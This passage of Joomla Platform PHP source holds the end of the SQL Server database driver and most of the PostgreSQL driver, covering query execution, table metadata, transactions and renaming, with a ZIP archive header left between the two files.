$this->setQuery( 'SELECT column_name as Field, data_type as Type, is_nullable as \'Null\', column_default as \'Default\'' . ' FROM information_schema.columns WHERE table_name = ' . $this->quote($table_temp) ); $fields = $this->loadObjectList(); // If we only want the type as the value add just that to the list. if ($typeOnly) { foreach ($fields as $field) { $result[$field->Field] = preg_replace('/[(0-9)]/', '', $field->Type); } } // If we want the whole field data object add that to the list. else { foreach ($fields as $field) { $field->Default = preg_replace("/(^(\(\(|\('|\(N'|\()|(('\)|(?<!\()\)\)|\))$))/i", '', $field->Default); $result[$field->Field] = $field; } } return $result; } /** * Shows the table CREATE statement that creates the given tables. * * This is unsupported by MSSQL. * * @param mixed $tables A table name or a list of table names. * * @return array A list of the create SQL for the tables. * * @since 3.0.0 * @throws RuntimeException */ public function getTableCreate($tables) { $this->connect(); return ''; } /** * Get the details list of keys for a table. * * @param string $table The name of the table. * * @return array An array of the column specification for the table. * * @since 3.0.0 * @throws RuntimeException */ public function getTableKeys($table) { $this->connect(); // TODO To implement. return array(); } /** * Method to get an array of all tables in the database. * * @return array An array of all the tables in the database. * * @since 3.0.0 * @throws RuntimeException */ public function getTableList() { $this->connect(); // Set the query to get the tables statement. $this->setQuery('SELECT name FROM ' . $this->getDatabase() . '.sys.Tables WHERE type = \'U\';'); $tables = $this->loadColumn(); return $tables; } /** * Get the version of the database connector. * * @return string The database connector version. * * @since 3.0.0 */ public function getVersion() { $this->connect(); $version = sqlsrv_server_info($this->connection); return $version['SQLServerVersion']; } /** * Inserts a row into a table based on an object's properties. * * @param string $table The name of the database table to insert into. * @param object &$object A reference to an object whose public properties match the table fields. * @param string $key The name of the primary key. If provided the object property is updated. * * @return boolean True on success. * * @since 3.0.0 * @throws RuntimeException */ public function insertObject($table, &$object, $key = null) { $fields = array(); $values = array(); $statement = 'INSERT INTO ' . $this->quoteName($table) . ' (%s) VALUES (%s)'; foreach (get_object_vars($object) as $k => $v) { // Only process non-null scalars. if (is_array($v) or is_object($v) or $v === null) { continue; } if (!$this->checkFieldExists($table, $k)) { continue; } if ($k[0] == '_') { // Internal field continue; } if ($k == $key && $key == 0) { continue; } $fields[] = $this->quoteName($k); $values[] = $this->Quote($v); } // Set the query and execute the insert. $this->setQuery(sprintf($statement, implode(',', $fields), implode(',', $values))); if (!$this->execute()) { return false; } $id = $this->insertid(); if ($key && $id) { $object->$key = $id; } return true; } /** * Method to get the auto-incremented value from the last INSERT statement. * * @return integer The value of the auto-increment field from the last inserted row. * * @since 3.0.0 */ public function insertid() { $this->connect(); // TODO: SELECT IDENTITY $this->setQuery('SELECT @@IDENTITY'); return (int) $this->loadResult(); } /** * Execute the SQL statement. * * @return mixed A database cursor resource on success, boolean false on failure. * * @since 3.0.0 * @throws RuntimeException * @throws Exception */ public function execute() { $this->connect(); // Take a local copy so that we don't modify the original query and cause issues later $query = $this->replacePrefix((string) $this->sql); if (!($this->sql instanceof JDatabaseQuery) && ($this->limit > 0 || $this->offset > 0)) { $query = $this->limit($query, $this->limit, $this->offset); } if (!is_resource($this->connection)) { JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED', $this->errorNum, $this->errorMsg), JLog::ERROR, 'database'); throw new JDatabaseExceptionExecuting($query, $this->errorMsg, $this->errorNum); } // Increment the query counter. $this->count++; // Reset the error values. $this->errorNum = 0; $this->errorMsg = ''; // If debugging is enabled then let's log the query. if ($this->debug) { // Add the query to the object queue. $this->log[] = $query; JLog::add($query, JLog::DEBUG, 'databasequery'); $this->timings[] = microtime(true); } // SQLSrv_num_rows requires a static or keyset cursor. if (strncmp(ltrim(strtoupper($query)), 'SELECT', strlen('SELECT')) == 0) { $array = array('Scrollable' => SQLSRV_CURSOR_KEYSET); } else { $array = array(); } // Execute the query. Error suppression is used here to prevent warnings/notices that the connection has been lost. $this->cursor = @sqlsrv_query($this->connection, $query, array(), $array); if ($this->debug) { $this->timings[] = microtime(true); if (defined('DEBUG_BACKTRACE_IGNORE_ARGS')) { $this->callStacks[] = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS); } else { $this->callStacks[] = debug_backtrace(); } } // If an error occurred handle it. if (!$this->cursor) { // Get the error number and message before we execute any more queries. $errorNum = $this->getErrorNumber(); $errorMsg = $this->getErrorMessage(); // Check if the server was disconnected. if (!$this->connected()) { try { // Attempt to reconnect. $this->connection = null; $this->connect(); } // If connect fails, ignore that exception and throw the normal exception. catch (RuntimeException $e) { // Get the error number and message. $this->errorNum = $this->getErrorNumber(); $this->errorMsg = $this->getErrorMessage(); // Throw the normal query exception. JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED', $this->errorNum, $this->errorMsg), JLog::ERROR, 'database-error'); throw new JDatabaseExceptionExecuting($query, $this->errorMsg, $this->errorNum, $e); } // Since we were able to reconnect, run the query again. return $this->execute(); } // The server was not disconnected. else { // Get the error number and message from before we tried to reconnect. $this->errorNum = $errorNum; $this->errorMsg = $errorMsg; // Throw the normal query exception. JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED', $this->errorNum, $this->errorMsg), JLog::ERROR, 'database-error'); throw new JDatabaseExceptionExecuting($query, $this->errorMsg, $this->errorNum); } } return $this->cursor; } /** * This function replaces a string identifier <var>$prefix</var> with the string held is the * <var>tablePrefix</var> class variable. * * @param string $query The SQL statement to prepare. * @param string $prefix The common table prefix. * * @return string The processed SQL statement. * * @since 3.0.0 */ public function replacePrefix($query, $prefix = '#__') { $query = trim($query); if (strpos($query, "'")) { $parts = explode("'", $query); for ($nIndex = 0, $size = count($parts); $nIndex < $size; $nIndex = $nIndex + 2) { if (strpos($parts[$nIndex], $prefix) !== false) { $parts[$nIndex] = str_replace($prefix, $this->tablePrefix, $parts[$nIndex]); } } $query = implode("'", $parts); } else { $query = str_replace($prefix, $this->tablePrefix, $query); } return $query; } /** * Select a database for use. * * @param string $database The name of the database to select for use. * * @return boolean True if the database was successfully selected. * * @since 3.0.0 * @throws RuntimeException */ public function select($database) { $this->connect(); if (!$database) { return false; } if (!sqlsrv_query($this->connection, 'USE ' . $database, null, array('scrollable' => SQLSRV_CURSOR_STATIC))) { throw new JDatabaseExceptionConnecting('Could not connect to SQL Server database.'); } return true; } /** * Set the connection to use UTF-8 character encoding. * * @return boolean True on success. * * @since 3.0.0 */ public function setUtf() { return false; } /** * Method to commit a transaction. * * @param boolean $toSavepoint If true, commit to the last savepoint. * * @return void * * @since 3.0.0 * @throws RuntimeException */ public function transactionCommit($toSavepoint = false) { $this->connect(); if (!$toSavepoint || $this->transactionDepth <= 1) { if ($this->setQuery('COMMIT TRANSACTION')->execute()) { $this->transactionDepth = 0; } return; } $this->transactionDepth--; } /** * Method to roll back a transaction. * * @param boolean $toSavepoint If true, rollback to the last savepoint. * * @return void * * @since 3.0.0 * @throws RuntimeException */ public function transactionRollback($toSavepoint = false) { $this->connect(); if (!$toSavepoint || $this->transactionDepth <= 1) { if ($this->setQuery('ROLLBACK TRANSACTION')->execute()) { $this->transactionDepth = 0; } return; } $savepoint = 'SP_' . ($this->transactionDepth - 1); $this->setQuery('ROLLBACK TRANSACTION ' . $this->quoteName($savepoint)); if ($this->execute()) { $this->transactionDepth--; } } /** * Method to initialize a transaction. * * @param boolean $asSavepoint If true and a transaction is already active, a savepoint will be created. * * @return void * * @since 3.0.0 * @throws RuntimeException */ public function transactionStart($asSavepoint = false) { $this->connect(); if (!$asSavepoint || !$this->transactionDepth) { if ($this->setQuery('BEGIN TRANSACTION')->execute()) { $this->transactionDepth = 1; } return; } $savepoint = 'SP_' . $this->transactionDepth; $this->setQuery('BEGIN TRANSACTION ' . $this->quoteName($savepoint)); if ($this->execute()) { $this->transactionDepth++; } } /** * Method to fetch a row from the result set cursor as an array. * * @param mixed $cursor The optional result set cursor from which to fetch the row. * * @return mixed Either the next row from the result set or false if there are no more rows. * * @since 3.0.0 */ protected function fetchArray($cursor = null) { return sqlsrv_fetch_array($cursor ? $cursor : $this->cursor, SQLSRV_FETCH_NUMERIC); } /** * Method to fetch a row from the result set cursor as an associative array. * * @param mixed $cursor The optional result set cursor from which to fetch the row. * * @return mixed Either the next row from the result set or false if there are no more rows. * * @since 3.0.0 */ protected function fetchAssoc($cursor = null) { return sqlsrv_fetch_array($cursor ? $cursor : $this->cursor, SQLSRV_FETCH_ASSOC); } /** * Method to fetch a row from the result set cursor as an object. * * @param mixed $cursor The optional result set cursor from which to fetch the row. * @param string $class The class name to use for the returned row object. * * @return mixed Either the next row from the result set or false if there are no more rows. * * @since 3.0.0 */ protected function fetchObject($cursor = null, $class = 'stdClass') { // Class has to be loaded for sqlsrv on windows platform class_exists($class); return sqlsrv_fetch_object($cursor ? $cursor : $this->cursor, $class); } /** * Method to free up the memory used for the result set. * * @param mixed $cursor The optional result set cursor from which to fetch the row. * * @return void * * @since 3.0.0 */ protected function freeResult($cursor = null) { sqlsrv_free_stmt($cursor ? $cursor : $this->cursor); } /** * Method to check and see if a field exists in a table. * * @param string $table The table in which to verify the field. * @param string $field The field to verify. * * @return boolean True if the field exists in the table. * * @since 3.0.0 */ protected function checkFieldExists($table, $field) { $this->connect(); $table = $this->replacePrefix((string) $table); $query = "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '$table' AND COLUMN_NAME = '$field' ORDER BY ORDINAL_POSITION"; $this->setQuery($query); if ($this->loadResult()) { return true; } else { return false; } } /** * Method to wrap an SQL statement to provide a LIMIT and OFFSET behavior for scrolling through a result set. * * @param string $query The SQL statement to process. * @param integer $limit The maximum affected rows to set. * @param integer $offset The affected row offset to set. * * @return string The processed SQL statement. * * @since 3.0.0 */ protected function limit($query, $limit, $offset) { if ($limit) { $total = $offset + $limit; $position = stripos($query, 'SELECT'); $distinct = stripos($query, 'SELECT DISTINCT'); if ($position === $distinct) { $query = substr_replace($query, 'SELECT DISTINCT TOP ' . (int) $total, $position, 15); } else { $query = substr_replace($query, 'SELECT TOP ' . (int) $total, $position, 6); } } if (!$offset) { return $query; } return PHP_EOL . 'SELECT * FROM (SELECT *, ROW_NUMBER() OVER (ORDER BY (SELECT 0)) AS RowNumber FROM (' . $query . PHP_EOL . ') AS A) AS A WHERE RowNumber > ' . (int) $offset; } /** * Renames a table in the database. * * @param string $oldTable The name of the table to be renamed * @param string $newTable The new name for the table. * @param string $backup Table prefix * @param string $prefix For the table - used to rename constraints in non-mysql databases * * @return JDatabaseDriverSqlsrv Returns this object to support chaining. * * @since 3.0.0 * @throws RuntimeException */ public function renameTable($oldTable, $newTable, $backup = null, $prefix = null) { $constraints = array(); if (!is_null($prefix) && !is_null($backup)) { $constraints = $this->getTableConstraints($oldTable); } if (!empty($constraints)) { $this->renameConstraints($constraints, $prefix, $backup); } $this->setQuery("sp_rename '" . $oldTable . "', '" . $newTable . "'"); return $this->execute(); } /** * Locks a table in the database. * * @param string $tableName The name of the table to lock. * * @return JDatabaseDriverSqlsrv Returns this object to support chaining. * * @since 3.0.0 * @throws RuntimeException */ public function lockTable($tableName) { return $this; } /** * Unlocks tables in the database. * * @return JDatabaseDriverSqlsrv Returns this object to support chaining. * * @since 3.0.0 * @throws RuntimeException */ public function unlockTables() { return $this; } /** * Return the actual SQL Error number * * @return integer The SQL Error number * * @since 3.4.6 */ protected function getErrorNumber() { $errors = sqlsrv_errors(); return $errors[0]['code']; } /** * Return the actual SQL Error message * * @return string The SQL Error message * * @since 3.4.6 */ protected function getErrorMessage() { $errors = sqlsrv_errors(); $errorMessage = (string) $errors[0]['message']; // Replace the Databaseprefix with `#__` if we are not in Debug if (!$this->debug) { $errorMessage = str_replace($this->tablePrefix, '#__', $errorMessage); } return $errorMessage; } /** * Get the query strings to alter the character set and collation of a table. * * @param string $tableName The name of the table * * @return string[] The queries required to alter the table's character set and collation * * @since CMS 3.5.0 */ public function getAlterTableCharacterSet($tableName) { return array(); } /** * Return the query string to create new Database. * Each database driver, other than MySQL, need to override this member to return correct string. * * @param stdClass $options Object used to pass user and database name to database driver. * This object must have "db_name" and "db_user" set. * @param boolean $utf True if the database supports the UTF-8 character set. * * @return string The query that creates database * * @since 3.0.1 */ protected function getCreateDatabaseQuery($options, $utf) { return 'CREATE DATABASE ' . $this->quoteName($options->db_name); } } PK�\��C۠۠%joomla/database/driver/postgresql.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * PostgreSQL database driver * * @since 3.0.0 * @deprecated 4.0 Use PDO PostgreSQL instead */ class JDatabaseDriverPostgresql extends JDatabaseDriver { /** * The database driver name * * @var string * @since 3.0.0 */ public $name = 'postgresql'; /** * The type of the database server family supported by this driver. * * @var string * @since CMS 3.5.0 */ public $serverType = 'postgresql'; /** * Quote for named objects * * @var string * @since 3.0.0 */ protected $nameQuote = '"'; /** * The null/zero date string * * @var string * @since 3.0.0 */ protected $nullDate = '1970-01-01 00:00:00'; /** * The minimum supported database version. * * @var string * @since 3.0.0 */ protected static $dbMinimum = '8.3.18'; /** * Operator used for concatenation * * @var string * @since 3.0.0 */ protected $concat_operator = '||'; /** * JDatabaseDriverPostgresqlQuery object returned by getQuery * * @var JDatabaseQueryPostgresql * @since 3.0.0 */ protected $queryObject = null; /** * Database object constructor * * @param array $options List of options used to configure the connection * * @since 3.0.0 */ public function __construct($options) { $options['host'] = (isset($options['host'])) ? $options['host'] : 'localhost'; $options['user'] = (isset($options['user'])) ? $options['user'] : ''; $options['password'] = (isset($options['password'])) ? $options['password'] : ''; $options['database'] = (isset($options['database'])) ? $options['database'] : ''; $options['port'] = (isset($options['port'])) ? $options['port'] : null; // Finalize initialization parent::__construct($options); } /** * Connects to the database if needed. * * @return void Returns void if the database connected successfully. * * @since 3.0.0 * @throws RuntimeException */ public function connect() { if ($this->connection) { return; } // Make sure the postgresql extension for PHP is installed and enabled. if (!self::isSupported()) { throw new JDatabaseExceptionUnsupported('The pgsql extension for PHP is not installed or enabled.'); } /* * pg_connect() takes the port as separate argument. Therefore, we * have to extract it from the host string (if provided). */ // Check for empty port if (!$this->options['port']) { // Port is empty or not set via options, check for port annotation (:) in the host string $tmp = substr(strstr($this->options['host'], ':'), 1); if (!empty($tmp)) { // Get the port number if (is_numeric($tmp)) { $this->options['port'] = $tmp; } // Extract the host name $this->options['host'] = substr($this->options['host'], 0, strlen($this->options['host']) - (strlen($tmp) + 1)); // This will take care of the following notation: ":5432" if ($this->options['host'] === '') { $this->options['host'] = 'localhost'; } } // No port annotation (:) found, setting port to default PostgreSQL port 5432 else { $this->options['port'] = '5432'; } } // Build the DSN for the connection. $dsn = ''; if (!empty($this->options['host'])) { $dsn .= "host={$this->options['host']} port={$this->options['port']} "; } $dsn .= "dbname={$this->options['database']} user={$this->options['user']} password={$this->options['password']}"; // Attempt to connect to the server. if (!($this->connection = @pg_connect($dsn))) { throw new JDatabaseExceptionConnecting('Error connecting to PGSQL database.'); } pg_set_error_verbosity($this->connection, PGSQL_ERRORS_DEFAULT); pg_query($this->connection, 'SET standard_conforming_strings=off'); pg_query($this->connection, 'SET escape_string_warning=off'); } /** * Disconnects the database. * * @return void * * @since 3.0.0 */ public function disconnect() { // Close the connection. if (is_resource($this->connection)) { foreach ($this->disconnectHandlers as $h) { call_user_func_array($h, array( &$this)); } pg_close($this->connection); } $this->connection = null; } /** * Method to escape a string for usage in an SQL statement. * * @param string $text The string to be escaped. * @param boolean $extra Optional parameter to provide extra escaping. * * @return string The escaped string. * * @since 3.0.0 */ public function escape($text, $extra = false) { if (is_int($text)) { return $text; } if (is_float($text)) { // Force the dot as a decimal point. return str_replace(',', '.', (string) $text); } $this->connect(); $result = pg_escape_string($this->connection, (string) $text); if ($extra) { $result = addcslashes($result, '%_'); } return $result; } /** * Test to see if the PostgreSQL connector is available * * @return boolean True on success, false otherwise. * * @since 3.0.0 */ public static function test() { return function_exists('pg_connect'); } /** * Determines if the connection to the server is active. * * @return boolean * * @since 3.0.0 */ public function connected() { $this->connect(); if (is_resource($this->connection)) { return pg_ping($this->connection); } return false; } /** * Drops a table from the database. * * @param string $tableName The name of the database table to drop. * @param boolean $ifExists Optionally specify that the table must exist before it is dropped. * * @return boolean * * @since 3.0.0 * @throws RuntimeException */ public function dropTable($tableName, $ifExists = true) { $this->connect(); $this->setQuery('DROP TABLE ' . ($ifExists ? 'IF EXISTS ' : '') . $this->quoteName($tableName)); $this->execute(); return true; } /** * Get the number of affected rows by the last INSERT, UPDATE, REPLACE or DELETE for the previous executed SQL statement. * * @return integer The number of affected rows in the previous operation * * @since 3.0.0 */ public function getAffectedRows() { $this->connect(); return pg_affected_rows($this->cursor); } /** * Method to get the database collation in use by sampling a text field of a table in the database. * * @return mixed The collation in use by the database or boolean false if not supported. * * @since 3.0.0 * @throws RuntimeException */ public function getCollation() { $this->connect(); $this->setQuery('SHOW LC_COLLATE'); $array = $this->loadAssocList(); return $array[0]['lc_collate']; } /** * Method to get the database connection collation, as reported by the driver. If the connector doesn't support * reporting this value please return an empty string. * * @return string */ public function getConnectionCollation() { return pg_client_encoding($this->connection); } /** * Get the number of returned rows for the previous executed SQL statement. * This command is only valid for statements like SELECT or SHOW that return an actual result set. * To retrieve the number of rows affected by an INSERT, UPDATE, REPLACE or DELETE query, use getAffectedRows(). * * @param resource $cur An optional database cursor resource to extract the row count from. * * @return integer The number of returned rows. * * @since 3.0.0 */ public function getNumRows($cur = null) { $this->connect(); return pg_num_rows((int) $cur ? $cur : $this->cursor); } /** * Get the current or query, or new JDatabaseQuery object. * * @param boolean $new False to return the last query set, True to return a new JDatabaseQuery object. * @param boolean $asObj False to return last query as string, true to get JDatabaseQueryPostgresql object. * * @return JDatabaseQuery The current query object or a new object extending the JDatabaseQuery class. * * @since 3.0.0 * @throws RuntimeException */ public function getQuery($new = false, $asObj = false) { if ($new) { $this->queryObject = new JDatabaseQueryPostgresql($this); return $this->queryObject; } else { if ($asObj) { return $this->queryObject; } else { return $this->sql; } } } /** * Shows the table CREATE statement that creates the given tables. * * This is unsupported by PostgreSQL. * * @param mixed $tables A table name or a list of table names. * * @return string An empty char because this function is not supported by PostgreSQL. * * @since 3.0.0 */ public function getTableCreate($tables) { return ''; } /** * Retrieves field information about a given table. * * @param string $table The name of the database table. For PostgreSQL may start with a schema. * @param boolean $typeOnly True to only return field types. * * @return array An array of fields for the database table. * * @since 3.0.0 * @throws RuntimeException */ public function getTableColumns($table, $typeOnly = true) { $this->connect(); $result = array(); $tableSub = $this->replacePrefix($table); $fn = explode('.', $tableSub); if (count($fn) === 2) { $schema = $fn[0]; $tableSub = $fn[1]; } else { $schema = $this->getDefaultSchema(); } $this->setQuery(' SELECT a.attname AS "column_name", pg_catalog.format_type(a.atttypid, a.atttypmod) as "type", CASE WHEN a.attnotnull IS TRUE THEN \'NO\' ELSE \'YES\' END AS "null", CASE WHEN pg_catalog.pg_get_expr(adef.adbin, adef.adrelid, true) IS NOT NULL THEN pg_catalog.pg_get_expr(adef.adbin, adef.adrelid, true) END as "Default", CASE WHEN pg_catalog.col_description(a.attrelid, a.attnum) IS NULL THEN \'\' ELSE pg_catalog.col_description(a.attrelid, a.attnum) END AS "comments" FROM pg_catalog.pg_attribute a LEFT JOIN pg_catalog.pg_attrdef adef ON a.attrelid=adef.adrelid AND a.attnum=adef.adnum LEFT JOIN pg_catalog.pg_type t ON a.atttypid=t.oid WHERE a.attrelid = (SELECT oid FROM pg_catalog.pg_class WHERE relname=' . $this->quote($tableSub) . ' AND relnamespace = (SELECT oid FROM pg_catalog.pg_namespace WHERE nspname = ' . $this->quote($schema) . ') ) AND a.attnum > 0 AND NOT a.attisdropped ORDER BY a.attnum' ); $fields = $this->loadObjectList(); if ($typeOnly) { foreach ($fields as $field) { $result[$field->column_name] = preg_replace('/[(0-9)]/', '', $field->type); } } else { foreach ($fields as $field) { if (stristr(strtolower($field->type), 'character varying')) { $field->Default = ''; } if (stristr(strtolower($field->type), 'text')) { $field->Default = ''; } // Do some dirty translation to MySQL output. // TODO: Come up with and implement a standard across databases. $result[$field->column_name] = (object) array( 'column_name' => $field->column_name, 'type' => $field->type, 'null' => $field->null, 'Default' => $field->Default, 'comments' => '', 'Field' => $field->column_name, 'Type' => $field->type, 'Null' => $field->null, // TODO: Improve query above to return primary key info as well // 'Key' => ($field->PK == '1' ? 'PRI' : '') ); } } /* Change Postgresql's NULL::* type with PHP's null one */ foreach ($fields as $field) { if (preg_match('/^NULL::*/', $field->Default)) { $field->Default = null; } } return $result; } /** * Get the details list of keys for a table. * * @param string $table The name of the table. * * @return array An array of the column specification for the table. * * @since 3.0.0 * @throws RuntimeException */ public function getTableKeys($table) { $this->connect(); // To check if table exists and prevent SQL injection $tableList = $this->getTableList(); if (in_array($table, $tableList)) { // Get the details columns information. $this->setQuery(' SELECT indexname AS "idxName", indisprimary AS "isPrimary", indisunique AS "isUnique", CASE WHEN indisprimary = true THEN ( SELECT \'ALTER TABLE \' || tablename || \' ADD \' || pg_catalog.pg_get_constraintdef(const.oid, true) FROM pg_constraint AS const WHERE const.conname= pgClassFirst.relname ) ELSE pg_catalog.pg_get_indexdef(indexrelid, 0, true) END AS "Query" FROM pg_indexes LEFT JOIN pg_class AS pgClassFirst ON indexname=pgClassFirst.relname LEFT JOIN pg_index AS pgIndex ON pgClassFirst.oid=pgIndex.indexrelid WHERE tablename=' . $this->quote($table) . ' ORDER BY indkey' ); $keys = $this->loadObjectList(); return $keys; } return false; } /** * Method to get an array of all tables in the database. * * @return array An array of all the tables in the database. * * @since 3.0.0 * @throws RuntimeException */ public function getTableList() { $this->connect(); $query = $this->getQuery(true) ->select('table_name') ->from('information_schema.tables') ->where('table_type=' . $this->quote('BASE TABLE')) ->where('table_schema NOT IN (' . $this->quote('pg_catalog') . ', ' . $this->quote('information_schema') . ')') ->order('table_name ASC'); $this->setQuery($query); $tables = $this->loadColumn(); return $tables; } /** * Get the details list of sequences for a table. * * @param string $table The name of the table. * * @return array An array of sequences specification for the table. * * @since 3.0.0 * @throws RuntimeException */ public function getTableSequences($table) { $this->connect(); // To check if table exists and prevent SQL injection $tableList = $this->getTableList(); if (in_array($table, $tableList)) { $name = array( 's.relname', 'n.nspname', 't.relname', 'a.attname', 'info.data_type', 'info.minimum_value', 'info.maximum_value', 'info.increment', 'info.cycle_option', ); $as = array('sequence', 'schema', 'table', 'column', 'data_type', 'minimum_value', 'maximum_value', 'increment', 'cycle_option'); if (version_compare($this->getVersion(), '9.1.0') >= 0) { $name[] .= 'info.start_value'; $as[] .= 'start_value'; } // Get the details columns information. $query = $this->getQuery(true) ->select($this->quoteName($name, $as)) ->from('pg_class AS s') ->join('LEFT', "pg_depend d ON d.objid=s.oid AND d.classid='pg_class'::regclass AND d.refclassid='pg_class'::regclass") ->join('LEFT', 'pg_class t ON t.oid=d.refobjid') ->join('LEFT', 'pg_namespace n ON n.oid=t.relnamespace') ->join('LEFT', 'pg_attribute a ON a.attrelid=t.oid AND a.attnum=d.refobjsubid') ->join('LEFT', 'information_schema.sequences AS info ON info.sequence_name=s.relname') ->where("s.relkind='S' AND d.deptype='a' AND t.relname=" . $this->quote($table)); $this->setQuery($query); $seq = $this->loadObjectList(); return $seq; } return false; } /** * Get the version of the database connector. * * @return string The database connector version. * * @since 3.0.0 */ public function getVersion() { $this->connect(); $version = pg_version($this->connection); return $version['server']; } /** * Method to get the auto-incremented value from the last INSERT statement. * To be called after the INSERT statement, it's MANDATORY to have a sequence on * every primary key table. * * To get the auto incremented value it's possible to call this function after * INSERT INTO query, or use INSERT INTO with RETURNING clause. * * @example with insertid() call: * $query = $this->getQuery(true) * ->insert('jos_dbtest') * ->columns('title,start_date,description') * ->values("'testTitle2nd','1971-01-01','testDescription2nd'"); * $this->setQuery($query); * $this->execute(); * $id = $this->insertid(); * * @example with RETURNING clause: * $query = $this->getQuery(true) * ->insert('jos_dbtest') * ->columns('title,start_date,description') * ->values("'testTitle2nd','1971-01-01','testDescription2nd'") * ->returning('id'); * $this->setQuery($query); * $id = $this->loadResult(); * * @return integer The value of the auto-increment field from the last inserted row. * * @since 3.0.0 */ public function insertid() { $this->connect(); $insertQuery = $this->getQuery(false, true); $table = $insertQuery->__get('insert')->getElements(); /* find sequence column name */ $colNameQuery = $this->getQuery(true); $colNameQuery->select('column_default') ->from('information_schema.columns') ->where('table_name=' . $this->quote($this->replacePrefix(str_replace('"', '', $table[0]))), 'AND') ->where("column_default LIKE '%nextval%'"); $this->setQuery($colNameQuery); $colName = $this->loadRow(); $changedColName = str_replace('nextval', 'currval', $colName); $insertidQuery = $this->getQuery(true); $insertidQuery->select($changedColName); $this->setQuery($insertidQuery); $insertVal = $this->loadRow(); return $insertVal[0]; } /** * Locks a table in the database. * * @param string $tableName The name of the table to unlock. * * @return JDatabaseDriverPostgresql Returns this object to support chaining. * * @since 3.0.0 * @throws RuntimeException */ public function lockTable($tableName) { $this->transactionStart(); $this->setQuery('LOCK TABLE ' . $this->quoteName($tableName) . ' IN ACCESS EXCLUSIVE MODE')->execute(); return $this; } /** * Execute the SQL statement. * * @return mixed A database cursor resource on success, boolean false on failure. * * @since 3.0.0 * @throws RuntimeException */ public function execute() { $this->connect(); // Take a local copy so that we don't modify the original query and cause issues later $query = $this->replacePrefix((string) $this->sql); if (!($this->sql instanceof JDatabaseQuery) && ($this->limit > 0 || $this->offset > 0)) { $query .= ' LIMIT ' . $this->limit . ' OFFSET ' . $this->offset; } if (!is_resource($this->connection)) { JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED', $this->errorNum, $this->errorMsg), JLog::ERROR, 'database'); throw new JDatabaseExceptionExecuting($query, $this->errorMsg, $this->errorNum); } // Increment the query counter. $this->count++; // Reset the error values. $this->errorNum = 0; $this->errorMsg = ''; // If debugging is enabled then let's log the query. if ($this->debug) { // Add the query to the object queue. $this->log[] = $query; JLog::add($query, JLog::DEBUG, 'databasequery'); $this->timings[] = microtime(true); if (is_object($this->cursor)) { // Avoid warning if result already freed by third-party library @$this->freeResult(); } $memoryBefore = memory_get_usage(); } // Execute the query. Error suppression is used here to prevent warnings/notices that the connection has been lost. $this->cursor = @pg_query($this->connection, $query); if ($this->debug) { $this->timings[] = microtime(true); if (defined('DEBUG_BACKTRACE_IGNORE_ARGS')) { $this->callStacks[] = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS); } else { $this->callStacks[] = debug_backtrace(); } $this->callStacks[count($this->callStacks) - 1][0]['memory'] = array( $memoryBefore, memory_get_usage(), is_resource($this->cursor) ? $this->getNumRows($this->cursor) : null, ); } // If an error occurred handle it. if (!$this->cursor) { // Get the error number and message before we execute any more queries. $errorNum = $this->getErrorNumber(); $errorMsg = $this->getErrorMessage(); // Check if the server was disconnected. if (!$this->connected()) { try { // Attempt to reconnect. $this->connection = null; $this->connect(); } // If connect fails, ignore that exception and throw the normal exception. catch (RuntimeException $e) { $this->errorNum = $this->getErrorNumber(); $this->errorMsg = $this->getErrorMessage(); // Throw the normal query exception. JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED', $this->errorNum, $this->errorMsg), JLog::ERROR, 'database-error'); throw new JDatabaseExceptionExecuting($query, $this->errorMsg, null, $e); } // Since we were able to reconnect, run the query again. return $this->execute(); } // The server was not disconnected. else { // Get the error number and message from before we tried to reconnect. $this->errorNum = $errorNum; $this->errorMsg = $errorMsg; // Throw the normal query exception. JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED', $this->errorNum, $this->errorMsg), JLog::ERROR, 'database-error'); throw new JDatabaseExceptionExecuting($query, $this->errorMsg); } } return $this->cursor; } /** * Renames a table in the database. * * @param string $oldTable The name of the table to be renamed * @param string $newTable The new name for the table. * @param string $backup Not used by PostgreSQL. * @param string $prefix Not used by PostgreSQL. * * @return JDatabaseDriverPostgresql Returns this object to support chaining. * * @since 3.0.0 * @throws RuntimeException */ public function renameTable($oldTable, $newTable, $backup = null, $prefix = null) { $this->connect(); // To check if table exists and prevent SQL injection $tableList = $this->getTableList(); // Origin Table does not exist if (!in_array($oldTable, $tableList)) { // Origin Table not found throw new RuntimeException('Table not found in Postgresql database.'); } else { /* Rename indexes */ $this->setQuery( 'SELECT relname FROM pg_class WHERE oid IN ( SELECT indexrelid FROM pg_index, pg_class WHERE pg_class.relname=' . $this->quote($oldTable, true) . ' AND pg_class.oid=pg_index.indrelid );' ); $oldIndexes = $this->loadColumn(); foreach ($oldIndexes as $oldIndex) { $changedIdxName = str_replace($oldTable, $newTable, $oldIndex); $this->setQuery('ALTER INDEX ' . $this->escape($oldIndex) . ' RENAME TO ' . $this->escape($changedIdxName)); $this->execute(); } /* Rename sequence */ $this->setQuery( 'SELECT relname FROM pg_class WHERE relkind = \'S\' AND relnamespace IN ( SELECT oid FROM pg_namespace WHERE nspname NOT LIKE \'pg_%\' AND nspname != \'information_schema\' ) AND relname LIKE \'%' . $oldTable . '%\' ;' ); $oldSequences = $this->loadColumn(); foreach ($oldSequences as $oldSequence) { $changedSequenceName = str_replace($oldTable, $newTable, $oldSequence); $this->setQuery('ALTER SEQUENCE ' . $this->escape($oldSequence) . ' RENAME TO ' . $this->escape($changedSequenceName)); $this->execute(); } /* Rename table */ $this->setQuery('ALTER TABLE ' . $this->escape($oldTable) . ' RENAME TO ' . $this->escape($newTable)); $this->execute(); } return true; } /** * Selects the database, but redundant for PostgreSQL * * @param string $database Database name to select. * * @return boolean Always true * * @since 3.0.0 */ public function select($database) { return true; } /** * Custom settings for UTF support * * @return integer Zero on success, -1 on failure * * @since 3.0.0 */ public function setUtf() { $this->connect(); if (!function_exists('pg_set_client_encoding')) { return -1; } return pg_set_client_encoding($this->connection, 'UTF8'); } /** * This function return a field value as a prepared string to be used in a 